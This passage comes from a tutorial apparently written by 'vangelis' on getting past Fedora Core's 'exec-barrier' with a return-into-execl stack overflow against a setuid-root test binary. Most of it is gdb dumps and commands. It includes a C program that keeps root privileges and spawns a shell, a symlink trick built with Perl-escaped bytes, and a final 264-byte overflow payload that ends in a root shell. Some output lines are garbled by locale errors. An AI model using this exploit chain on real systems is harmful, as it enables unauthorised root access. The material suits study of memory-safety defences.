0x005fea50 <execl+80>: mov 0xfffffff0(%ebp),%edx
0x005fea53 <execl+83>: cmp %edx,0xffffffec(%ebp)
0x005fea56 <execl+86>: je 0x5fea96 <execl+150>
0x005fea58 <execl+88>: addl $0x8,0xffffffe0(%ebp)
0x005fea5c <execl+92>: mov 0xffffffe8(%ebp),%edx
0x005fea5f <execl+95>: mov 0xffffffec(%ebp),%edi
0x005fea62 <execl+98>: addl $0x4,0xffffffe8(%ebp)
0x005fea66 <execl+102>: mov (%edx),%ecx
0x005fea68 <execl+104>: mov %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>: inc %edi
0x005fea6c <execl+108>: test %ecx,%ecx
0x005fea6e <execl+110>: mov %edi,0xffffffec(%ebp)
0x005fea71 <execl+113>: jne 0x5fea50 <execl+80>
0x005fea73 <execl+115>: mov 0xfffffee0(%ebx),%edi
0x005fea79 <execl+121>: mov (%edi),%ecx
0x005fea7b <execl+123>: mov %esi,0x4(%esp)
0x005fea7f <execl+127>: mov 0x8(%ebp),%esi
0x005fea82 <execl+130>: mov %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov %esi,(%esp)
0x005fea89 <execl+137>: call 0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea 0xfffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop %ebx
0x005fea92 <execl+146>: pop %esi
0x005fea93 <execl+147>: pop %edi
0x005fea94 <execl+148>: pop %ebp
0x005fea95 <execl+149>: ret
0x005fea96 <execl+150>: mov 0xffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov 0xffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add %edx,%edx
0x005fea9e <execl+158>: mov %edx,0xffffffe4(%ebp)
0x005feaa1 <execl+161>: and $0xfffffffc,%ecx
0x005feaa4 <execl+164>: sub %ecx,%esp
0x005feaa6 <execl+166>: mov %edx,0xfffffff0(%ebp)
0x005feaa9 <execl+169>: mov 0xffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea 0x1b(%esp),%edx
0x005feab0 <execl+176>: and $0xfffffff0,%edx
0x005feab3 <execl+179>: lea (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp %esi,%edi
0x005feab8 <execl+184>: je 0x5feacc <execl+204>
0x005feaba <execl+186>: cld
0x005feabb <execl+187>: mov 0xffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov %edx,%edi
0x005feac0 <execl+192>: shl $0x2,%ecx
0x005feac3 <execl+195>: shr $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov %edx,%esi
0x005feaca <execl+202>: jmp 0x5fea58 <execl+88>
0x005feacc <execl+204>: cld
0x005feacd <execl+205>: mov 0xffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov %edx,%edi
0x005fead2 <execl+210>: shl $0x2,%ecx
0x005fead5 <execl+213>: shr $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov %edx,%esi
0x005feadc <execl+220>: mov 0xffffffe4(%ebp),%edi
0x005feadf <execl+223>: mov 0xffffffec(%ebp),%eax
0x005feae2 <execl+226>: add %eax,%edi
0x005feae4 <execl+228>: mov %edi,0xfffffff0(%ebp)
0x005feae7 <execl+231>: jmp 0x5fea58 <execl+88>
0x005feaec <execl+236>: nop
0x005feaed <execl+237>: nop
0x005feaee <execl+238>: nop
0x005feaef <execl+239>: nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@testbed fedora]$
The reason why we don't the address of <execl+0> or <execl+1> is that the
value of %ebp may
be changed if "push %ebp" or "mov %esp,%ebp" is executed. We found the
address of <execl+3>
very easily by using gdb: 0x005fea03.
Now, the second step...
Let's examine the data segment area to find the arguments of execl(). As
you saw in the
"Memory Mapping Table", data segment starts at 0x8049000.
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
±ê³µ.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
(no debugging symbols found)...(no debugging symbols found)...Error while
reading shared
library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Breakpoint 1, 0x08048379 in main ()
(gdb) x/50x 0x8049000
0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8049010: 0x00030002 0x00000001 0x080482c0 0x00000034
0x8049020: 0x00000788 0x00000000 0x00200034 0x00280007
0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005
0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114
0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004
0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000
0x8049080: 0x08048000 0x0000047c 0x0000047c 0x00000005
0x8049090: 0x00001000 0x00000001 0x0000047c 0x0804947c
0x80490a0: 0x0804947c 0x00000100 0x00000104 0x00000006
0x80490b0: 0x00001000 0x00000002 0x00000490 0x08049490
0x80490c0: 0x08049490 0x000000c8
(gdb)
0x80490c8: 0x000000c8 0x00000006 0x00000004 0x00000004
0x80490d8: 0x00000128 0x08048128 0x08048128 0x00000020
0x80490e8: 0x00000020 0x00000004 0x00000004 0x6474e551
0x80490f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049108: 0x00000000 0x00000006 0x00000004 0x62696c2f
0x8049118: 0x2d646c2f 0x756e696c 0x6f732e78 0x0000322e
0x8049128: 0x00000004 0x00000010 0x00000001 0x00554e47
0x8049138: 0x00000000 0x00000002 0x00000002 0x00000005
0x8049148: 0x00000003 0x00000006 0x00000004 0x00000001
0x8049158: 0x00000005 0x00000000 0x00000000 0x00000000
0x8049168: 0x00000000 0x00000003 0x00000002 0x00000000
0x8049178: 0x00000000 0x00000000 0x00000000 0x00000044
0x8049188: 0x00000000 0x000000ef
(gdb)
0x8049190: 0x00000012 0x00000035 0x08048474 0x00000004
0x80491a0: 0x000e0011 0x00000001 0x00000000 0x00000000
0x80491b0: 0x00000020 0x00000015 0x00000000 0x00000000
0x80491c0: 0x00000020 0x0000002e 0x00000000 0x00000030
0x80491d0: 0x00000012 0x764a5f00 0x6765525f 0x65747369
0x80491e0: 0x616c4372 0x73657373 0x675f5f00 0x5f6e6f6d
0x80491f0: 0x72617473 0x005f5f74 0x6362696c 0x2e6f732e
0x8049200: 0x74730036 0x79706372 0x4f495f00 0x6474735f
0x8049210: 0x755f6e69 0x00646573 0x696c5f5f 0x735f6362
0x8049220: 0x74726174 0x69616d5f 0x4c47006e 0x5f434249
0x8049230: 0x00302e32 0x00020000 0x00000001 0x00020000
0x8049240: 0x00010001 0x00000024 0x00000010 0x00000000
0x8049250: 0x0d696910 0x00020000
(gdb)
0x8049258: 0x00000056 0x00000000 0x08049558 0x00000406
0x8049268: 0x08049568 0x00000107 0x0804956c 0x00000507
0x8049278: 0x83e58955 0x61e808ec 0xe8000000 0x000000bc
0x8049288: 0x0001a3e8 0x00c3c900 0x956035ff 0x25ff0804
0x8049298: 0x08049564 0x00000000 0x956825ff 0x00680804
0x80492a8: 0xe9000000 0xffffffe0 0x956c25ff 0x08680804
0x80492b8: 0xe9000000 0xffffffd0 0x895eed31 0xf0e483e1
0x80492c8: 0x68525450 0x080483ec 0x0483a468 0x68565108
0x80492d8: 0x08048370 0xffffbfe8 0x9090f4ff 0x53e58955
0x80492e8: 0x000000e8 0xc3815b00 0x0000126f 0xfc838b50
0x80492f8: 0x85ffffff 0xff0274c0 0xfc5d8bd0 0x9090c3c9
0x8049308: 0x83e58955 0x3d8008ec 0x0804957c 0xa1297500
0x8049318: 0x08049578 0xd285108b
(gdb)
0x8049320: 0xf6891774 0xa304c083 0x08049578 0x78a1d2ff
0x8049330: 0x8b080495 0x75d28510 0x7c05c6eb 0x01080495
0x8049340: 0xf689c3c9 0x83e58955 0x8ca108ec 0x85080494
0x8049350: 0xb81974c0 0x00000000 0x1074c085 0x680cec83
0x8049360: 0x0804948c 0xc483d0ff 0x00768d10 0x9090c3c9
0x8049370: 0x81e58955 0x000108ec 0xf0e48300 0x000000b8
0x8049380: 0x83c42900 0x458b08ec 0x04c0830c 0x858d30ff
0x8049390: 0xfffffef8 0xff16e850 0xc483ffff 0x0000b810
0x80493a0: 0xc3c90000 0x57e58955 0xec835356 0x0000e80c
0x80493b0: 0x815b0000 0x0011aac3 0xfebae800 0x938dffff
0x80493c0: 0xffffff20 0xff208b8d 0xca29ffff 0xfac1f631
0x80493d0: 0x73d63902 0x90d7890f 0x20b394ff 0x46ffffff
0x80493e0: 0xf472fe39 0x5b0cc483
(gdb)
0x80493e8: 0xc3c95f5e 0x56e58955 0x0000e853 0x815b0000
0x80493f8: 0x001166c3 0x208b8d00 0x8dffffff 0xffff2083
0x8049408: 0xc1c129ff 0xc98502f9 0x75ff718d 0x003ae80b
0x8049418: 0x5e5b0000 0xf689c3c9 0x20b394ff 0x89ffffff
0x8049428: 0xd2854ef2 0xe5ebf275 0x53e58955 0x947ca152
0x8049438: 0xf8830804 0x947cbbff 0x0c740804 0xff04eb83
0x8049448: 0x83038bd0 0xf475fff8 0xc3c95b58 0x53e58955
0x8049458: 0x000000e8 0xc3815b00 0x000010ff 0xfe9ee852
0x8049468: 0x5d8bffff 0x00c3c9fc 0x00000003 0x00020001
0x8049478: 0x00000000 0xffffffff 0x00000000 0xffffffff
0x8049488 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001
0x00000024
0x8049498 <_DYNAMIC+8>: 0x0000000c 0x08048278 0x0000000d
0x08048454
0x80494a8 <_DYNAMIC+24>: 0x00000004 0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>: 0x00000005 0x080481d4 0x00000006
0x08048174
0x80494c0 <_DYNAMIC+48>: 0x0000000a 0x00000060 0x0000000b
0x00000010
0x80494d0 <_DYNAMIC+64>: 0x00000015 0x005714b8 0x00000003
0x0804955c
0x80494e0 <_DYNAMIC+80>: 0x00000002 0x00000010 0x00000014
0x00000011
0x80494f0 <_DYNAMIC+96>: 0x00000017 0x08048268 0x00000011
0x08048260
0x8049500 <_DYNAMIC+112>: 0x00000012 0x00000008 0x00000013
0x00000008
0x8049510 <_DYNAMIC+128>: 0x6ffffffe 0x08048240 0x6fffffff
0x00000001
0x8049520 <_DYNAMIC+144>: 0x6ffffff0 0x08048234 0x00000000
0x00000000
0x8049530 <_DYNAMIC+160>: 0x00000000 0x00000000 0x00000000
0x00000000
0x8049540 <_DYNAMIC+176>: 0x00000000 0x00000000 0x00000000
0x00000000
0x8049550 <_DYNAMIC+192>: 0x00000000 0x00000000 0x00000000
0x08049490
0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x005714d0 0x00566830 0x0058c9f0
0x080482b6
0x8049570 <data_start>: 0x00000000 0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6
0x00000000
0x8049574 <__dso_handle>: 0x00000000 0x08049488 0x00000000
0x00000000
(gdb)
We found the parts which can be used as arguments of execl(). The synopsis
is as follows:
execl(char *path, char *arg0,...,char *argn, 0);
As you know and see, the last argument of execl() must be null. So, the
parts which can be
used as arguments of execl() for the sake of our purpose are underlined.
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6
0x00000000
---------- ----------
----------
We will use execl() like "execl(0x8049568, 0x804956c, 0x8049570)". We have
to use address
values because the arguments must be pointers.
The 3rd step...
Let's examine the values of first argument of execl() to use symbolic link.
(gdb) x/8x 0x0058c9f0
0x58c9f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c
0xe810558b
---------- ---------- ----------
----------
0x58ca00 <__libc_start_main+16>: 0xffffff09 0x25f8c381 0x7d8b0010
0x1c758b18
---------- ---------- --
(gdb) x/8x 0x080482b6
0x80482b6 <_init+62>: 0x00000868 0xffd0e900 0xed31ffff
0x83e1895e
0x80482c6 <_start+6>: 0x5450f0e4 0x83ec6852 0xa4680804
0x51080483
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@testbed fedora]$
The 25 bytes' data in 0x0058c9f0 is the file name when execl() is called. So
we need to make
a symbolic link with this data. Now we make a exploit program.
The fourth step...
Let's make an exploit code which can keep the privilege of a process and
spawn a shell. This
exploit will be able to keep the privilege(setuid(0)) of the vulnerable
program and give a
root shell when we succeed in the attack.
[vangelis@testbed fedora]$ cat > exploit.c
#include <unistd.h>
main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh", "sh", 0);
}
[vangelis@testbed fedora]$ gcc -o exploit exploit.c
The Fifth step...
It's time to make a symbolic link to the exploit with the values of first
argument of execl().
[vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e
'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10",
"\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"
Let's check the state of symboloic link.
[vangelis@testbed fedora]$ ls -l
í©ê³
24
lrwxrwxrwx 1 vangelis vangelis 29 11?12 11:28 U??WVS??L?E??U?????????%?
-> /home/vangelis/fedora/exploit
-rwxrwxr-x 1 vangelis vangelis 5186 11?12 11:27 exploit
-rw-rw-r-- 1 vangelis vangelis 101 11?12 11:27 exploit.c
-rwsr-xr-x 1 root root 4725 11?12 10:31 vul
-rw-rw-r-- 1 vangelis vangelis 90 11?12 10:31 vul.c
[vangelis@testbed fedora]$
Good..
The last step...
Before we make a payload for the final attack, we have to check how many
data we need to
overflow buffer. We can use gdb for this purpose. I believe you are not
such a fool to
decide the bytes of data to overflow through the glimp of source code of
vul.c. My last
post to Neworder("Stack-based Overflow Exploit: Introduction to Classical
and Advanced
Overflow Technique",http://neworder.box.sk/newsread.php?newsid=12476) shows
that we must
consider the dummy value.
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>: push %ebp
0x08048371 <main+1>: mov %esp,%ebp
0x08048373 <main+3>: sub $0x108,%esp // 264 bytes are needed to
overflow buffer
0x08048379 <main+9>: and $0xfffffff0,%esp
0x0804837c <main+12>: mov $0x0,%eax
0x08048381 <main+17>: sub %eax,%esp
0x08048383 <main+19>: sub $0x8,%esp
0x08048386 <main+22>: mov 0xc(%ebp),%eax
0x08048389 <main+25>: add $0x4,%eax
0x0804838c <main+28>: pushl (%eax)
0x0804838e <main+30>: lea 0xfffffef8(%ebp),%eax
0x08048394 <main+36>: push %eax
0x08048395 <main+37>: call 0x80482b0 <_init+56>
0x0804839a <main+42>: add $0x10,%esp
0x0804839d <main+45>: mov $0x0,%eax
0x080483a2 <main+50>: leave
0x080483a3 <main+51>: ret
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$
Now we gathered all data that are necessary to make a wonderful hammer to
break down the
'exec-barrier'. Let's be a knight of the hammer.
The final payload is as follows:
+-------------------------+--------------------------------+---------------+
| data to overflow buffer | *first argument of execl() - 8 | *<execl + 3>
|
+-------------------------+--------------------------------+---------------+
^ ^ ^
| | |
264 bytes 0x8049568 - 8 = 0x8049560 0x5fea03
Now we gathered all data that are necessary to make a wonderful hammer to
break down the
'exec-barrier'. The reason of "*first argument of execl() - 8" is that
execl() does
its work with calling execve() internally and execve() references 'ebp+8'
when it gets
the pointer to a file name.
Let's swing the hammer.
[vangelis@testbed fedora]$ ./vul `perl -e 'print
"A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`
sh-2.05b# id
uid=0(root) gid=501(vangelis) groups=501(vangelis)
sh-2.05b# whoami
root
sh-2.05b#
Wow, you break down the 'exec-barrier'! You got a root shell.
What a nice knight of the hammer you are!
I want to say that this may not be a perfect manual to exploit overflow
vulnerability
under Fedora Core environment. If someone knows more advanced ways to
exploit, I want
his or her feedback. Thank you for reading this article.
- EOF -